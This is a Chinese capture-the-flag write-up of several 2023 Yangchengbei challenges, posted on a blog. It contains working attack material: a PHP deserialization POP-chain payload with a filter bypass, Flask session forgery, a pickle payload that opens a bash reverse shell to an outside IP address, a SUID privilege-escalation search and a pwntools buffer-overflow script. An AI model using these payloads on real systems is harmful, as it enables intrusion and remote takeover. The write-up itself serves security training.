首页 > 其他分享 >2023年“羊城杯”网络安全大赛-高职高专组 WriteUP

2023年“羊城杯”网络安全大赛-高职高专组 WriteUP

时间:2023-10-01 17:56:26浏览次数:40  
标签:__ finish return name WriteUP 高职高专 CTF 2023 pick1e

2023 羊城杯 WriteUp By Xp0int

2023羊城杯附件.zip

2023年“羊城杯”网络安全大赛-高职高专组 WriteUP——剑来.pdf

Web-1

image.png
题目名称:
D0n't pl4y g4m3!!!
题目内容:
小明不小心沉迷⚪⚪的东西把源码和猫猫搞丢了,请帮他找回来。请访问/p0p.php 【Flag完整格式一般为:flag{}或者DASCTF{},只需提交括号内的内容即可。若Flag为其它格式,则会在题目描述中单独说明。】
题目分值:
已答出21次,初始分值500.0,当前分值480.28,解出分值478.25
题目难度:
中等
靶机管理地址:
http://26361.endpoint-147f0df03bd2409e99db3aa41ba4ff12.m.ins.cloud.dasctf.com:81/dasctf_admin_portal
IP信息:
nc/80->tcp.cloud.dasctf.com:26361

打开靶机之后根据题目描述,就去浏览器打开/p0p.php

image.png

BP抓包之后发到重发器,发现hint.zip

image.png
image.png

打开压缩包是尊嘟假嘟加密,之前做西电的moeCTF2023的杂项题接触过

https://zdjd.vercel.app/
image.png

获得hint:flag在/tmp/catcatf1ag.txt

image.png

在尝试多次目录穿越后无果,想起可以通过看PHP的版本来看看有没有漏洞该版本的PHP有没有漏洞。

image.png

搜索到B站视频有讲这个漏洞,于是跟着复现

5fee0c567f8ed5cb6733144b99c1269.png

【PHP源码泄露漏洞-PHP Development Server <= 7.4.21 - CNVD-2023-05738】 https://www.bilibili.com/video/BV14Y411S7wf/

PHP Development Server <= 7.4.21 - Remote Source Disclosure PHP <= 7.4.21 存在源代码泄露的情况 PHP Development Server存在信息泄露漏洞,该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。

然后拿到源码,进行PHP反序列化操作

e9f511c295246668404ecfa5b9f0a54.png

<?php
header("HTTP/1.1 302 found");
header("Location:https://passer-by.com/pacman/");

class Pro{
    private $exp;
    private $rce2;

    public function __get($name)
    {
        return $this->$rce2=$this->exp[$rce2];
    }
    public  function __toString()
    {
            call_user_func('system', "cat /flag");
     }
}

class Yang
{
    public function __call($name, $ary)
    {
        if ($this->key === true || $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func($this->now[$name], $ary[0]);
            }
        }
    }
    public function ycb()
    {
        $this->now = 0;
        return $this->finish->finish;
    }
    public function __wakeup()
    {
        $this->key = True;
    }
}
class Cheng
{
    private $finish;
    public $name;
    public function __get($value)
    {

        return $this->$value = $this->name[$value];
    }
}
class Bei
{
    public function __destruct()
    {
        if ($this->CTF->ycb()) {
            $this->fine->YCB1($this->rce, $this->rce1);
        }
    }
    public function __wakeup()
    {
        $this->key = false;
    }
}

function prohib($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    return preg_replace($filter,'',$a);
}

$a = $_POST["CTF"];
if (isset($a)){
  unserialize(prohib($a));
}
?>

看了CSDN发现很像反序列化pop链,结合chatGPT的回答。要POST传参CTF的值

image.png

<?php
class Yang
{
    
}
class Bei
{
    
}
$a = new Bei(); // 创建一个名为 $a 的 Bei 类对象
$a->rce = 'nl /tmp/catcatf1ag.txt'; // 为 $a 对象添加一个名为 rce 的属性,值为 'nl /tmp/catcatf1ag.txt'
$a->rce1 = 'test2'; // 为 $a 对象添加一个名为 rce1 的属性,值为 'test2'
$a->CTF = new Yang(); // 为 $a 对象添加一个名为 CTF 的属性,值为新创建的 Yang 类对象
$a->CTF->finish->finish = true; // 访问 $a 对象的 CTF 属性,然后访问其内部的 finish 属性,并将其 finish 属性的 finish 属性设置为 true
$a->fine = new Yang(); // 为 $a 对象添加一个名为 fine 的属性,值为新创建的 Yang 类对象
$a->fine->finish->finish = true; // 访问 $a 对象的 fine 属性,然后访问其内部的 finish 属性,并将其 finish 属性的 finish 属性设置为 true
$a->fine->now = ['YCB1'=>'system']; // 访问 $a 对象的 fine 属性,然后访问其内部的 now 属性,将其设置为关联数组,包含一个键值对 'YCB1'=>'system'
echo serialize($a); // 序列化 $a 对象并输出
?>

image.png

payload:(system被过滤了,双写绕过)

CTF=O:3:"Bei":4:{s:3:"rce";s:22:"nl /tmp/catcatf1ag.txt";s:4:"rce1";s:5:"test2";s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":2:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}}

BP抓包之后送到重发器发包即可

image.png

Web-3

image.png

根据题目描述访问/www.zip获得源码

from flask import Flask, session
from secret import secret

@app.route('/verification')
def verification():
    try:
        attribute = session.get('Attribute')
        if not isinstance(attribute, dict):
            raise Exception
    except Exception:
        return 'Hacker!!!'
    if attribute.get('name') == 'admin':
        if attribute.get('admin') == 1:
            return secret
        else:
            return "Don't play tricks on me"
    else:
        return "You are a perfect stranger to me"

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

image.png

在cookie中发现session,认为是session伪造,GitHub上有脚本

eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRoVE01bWFFZDNuIn19.ZPPsXA.AnXbqGmwgy0bGgSVwoimu6xEQJw

image.png

有secret_key之后,修改admin和name的键值对

image.png

放到cookie的session中,访问/verification路由

image.png

访问/ppppppppppick1e路由,在请求头看见hint

image.png

访问/src0de路由,获得源码


@app.route('/src0de')
def src0de():
    f = open(__file__, 'r')
    rsp = f.read()
    f.close()
    return rsp[rsp.index("@app.route('/src0de')"):]

@app.route('/ppppppppppick1e')
def ppppppppppick1e():
    try:
        username = "admin"
        rsp = make_response("Hello, %s " % username)
        rsp.headers['hint'] = "Source in /src0de"
        pick1e = request.cookies.get('pick1e')
        if pick1e is not None:
            pick1e = base64.b64decode(pick1e)
        else:
            return rsp
        if check(pick1e):
            pick1e = pickle.loads(pick1e)
            return "Go for it!!!"
        else:
            return "No Way!!!"
    except Exception as e:
        error_message = str(e)
        return error_message

    return rsp

class GWHT():
    def __init__(self):
        pass

if __name__ == '__main__':
    app.run('0.0.0.0', port=80)

image.png

先将pick1e的cookie值进行base64编码,打算反弹shell

import base64
import pickle
payload = b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/47.120.11.185/2333 0>&1"'
o.
'''
print(base64.b64encode(payload))

# 获得KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzQ3LjEyMC4xMS4xODUvMjMzMyAwPiYxIicKby4K之后

自己的VPS先监听端口,然后把pick1e的cookie值传入即可反弹shell

image.png

需要提权

image.png

find / -perm -u=s -type f 2>/dev/null

Python3可以提权

image.png
image.png

Crypto-6

image.png

先是社会主义核心价值观解码,获得密码解开压缩包

image.png

提示密码还有用

image.png

task.py只有个C,密文,看看私钥文件

(PKCS1) RSA 公私钥 pem 文件解析 - hahaha的文章 - 知乎 https://zhuanlan.zhihu.com/p/461349946
这篇文章教我们应该如何看私钥文件
image.png
image.png

CyberChef赛博厨导入私钥解析一下

0c8d6656dc945f55b1bc38058ba8ade.png

对应着文章解析私钥里面的p,q和e,再将其转成10进制,放入风二西脚本跑,发现只有一半flag,然后xor一下再跑就可以了

b49779be4446c3c257b7a412bbbf5b5.png

Misc-2

image.png
打开文件发现是一张图片:
image.png
发现该图片底下有一些东西:
用png宽高一把梭后发现不是flag
image.png
然后用010打开对文件用特定关键词对一点一点看发现某尾有个文件尝试丢到虚拟机里面然后用binwalk去bin然后发现拆分不出东西回去继续看尝试手动拆:
image.png
拆下来后解开压缩包发现是一行英文:
image.png
看见文本名字为feld猜测是Gronsfeld以及010中也说明要用five numbers
发现要key:
然后爆破key值发现:28303有对应的答案按:trytothinkthesnippingtools
image.png
把这句话复制到百度查出该漏洞为cve-2023-28303.....
按照别人的教程一步一步在该图片上进行复现该漏洞得出flag:
教程链接:https://blog.csdn.net/weixin_64422989/article/details/131993859
image.png
image.png

PWN-2

image.png
记事本打开发现为elf文件,丢进虚拟机查看文件信息:
image.png
用checksec对该文件进行进一步的查看:
image.png
查看了之后发现为64位程序,以及栈保护没有开启,
之后用gdb调试加ghidra进行反汇编看pwn文件:
image.png
image.png
慢慢测试找到可以溢出点然后些写py脚本:

from pwn import *
p=remote('tcp.cloud.dasctf.com',24656)
p.sendline('a')
payload=b'a'*0x100+p64(0x123456ee)
p.sendline(payload)
sleep(1)
p.sendline('cat fl*')
p.interactive()

直接得到flag
image.png

标签:__,finish,return,name,WriteUP,高职高专,CTF,2023,pick1e
From: https://www.cnblogs.com/Fab1an/p/17739060.html

相关文章

  • C#/.NET/.NET Core优秀项目和框架2023年9月简报
    前言公众号每月定期推广和分享的C#/.NET/.NETCore优秀项目和框架(公众号每周至少推荐两个优秀的项目和框架当然节假日除外),公众号推文有项目和框架的介绍、功能特点以及部分截图等(打不开或者打开GitHub很慢的同学可以优先查看公众号推文,文末一定会附带项目和框架源码地址)。注意:排......
  • 2023/10/1软件工程日报
    今天拾起了一个礼拜没有继续学习的vue学习计划,今天学习了如何自定义vue指令和vue路由,贴出代码   ......
  • 【2023潇湘夜雨】WIN11_Pro_23H2.22631.2361软件选装纯净版9.29
    【系统简介】=============================================================1.本次更新母盘来自WIN11_Pro_23H2.22631.2361。2.增加部分优化方案,手工精简部分较多。3.OS版本号为22631.2361。精简系统只是为部分用户安装,个别要求高的去MSDN下。4.集成《DrvCeo-2.13.0.8》网卡版、......
  • 一周总结(2023.9.25-2023.10.1)
    听课方面周一听了Nit的分块和莫队,前面还比较可以跟得上,后面基本掉线,写了个回滚莫队板子,口胡了前面几道题。后面就去做课件了。讲课之后补了自己的一些题,但是前面的题还比较多,需要快速补题。讲课方面在ddl之前eps秒做完了课件。还是要加速。讲课的时间还有剩余,下次要准备......
  • 2023.10.1日报
    今天配置了vue环境,学习了基础的vue语法,在这个过程中遇到了如下问题1.安装完node.js和vuecli后,创建项目的时候出现了问题我无法通过yarnserve启动项目,但由于默认下载设置的是yarn,导致也无法使用npmrunserve启动在这里卡了很久,解决办法是在C盘的user目录下有一个文件,其实后面......
  • 2023-2024-1 20231414《计算机基础与程序设计》第一周学习总结
    学期(2023-2024-1)学号(20231414)《计算机基础与程序设计》第一周学习总结作业信息这个作业属于哪个课程(2023-2024-1-计算机基础与程序设计)这个作业要求在哪里(2023-2024-1计算机基础与程序设计第一周作业)这个作业的目标<计算机基础与程序设计中的问题提问>作业......
  • 2023-2024-1 20231419 《计算机基础与程序设计》第一周学习总结
    2023-2024-120231419《计算机基础与程序设计》第一周学习总结作业信息这个作业属于哪个课程https://edu.cnblogs.com/campus/besti/2023-2024-1-CFAP这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK01这个作业的目标快速浏览一遍教材,并......
  • RationalDMIS2023界面介绍
    图形工具条可以在图形浏览窗口,DMIS编辑器,输出报告面板,图形报告面板等等之间进行切换;每切换到一个界面,图形/DMIS/输出窗口会自动对应切换,同时对应界面的功能工具条也自动进行更新。双数据区主要用来存放测量、构造、计算公差得到的数据结果。操作工具条可以在各操作面板之间进行切......
  • After_Effects_2023_23.6.0.62图文安装教程及下载
    After_Effects_2023_23.6.0.62图文安装教程及下载AdobeAfterEffects2023_23.6.0.62(爱国版、一键式安装、永久使用)简称“AE”是Adobe公司推出的一款图形视频处理软件,适用于从事设计和视频特技的机构,包括电视台、动画制作公司、个人后期制作工作室以及多媒体工作室。最近一次更......
  • 2023-2024-1 20211306 密码系统设计与实现课程学习笔记4
    20211306密码系统设计与实现课程学习笔记4任务详情自学教材第7,8章,提交学习笔记知识点归纳以及自己最有收获的内容,选择至少2个知识点利用chatgpt等工具进行苏格拉底挑战,并提交过程截图,提示过程参考下面内容“我在学***X知识点,请你以苏格拉底的方式对我进行提问,一次一个问......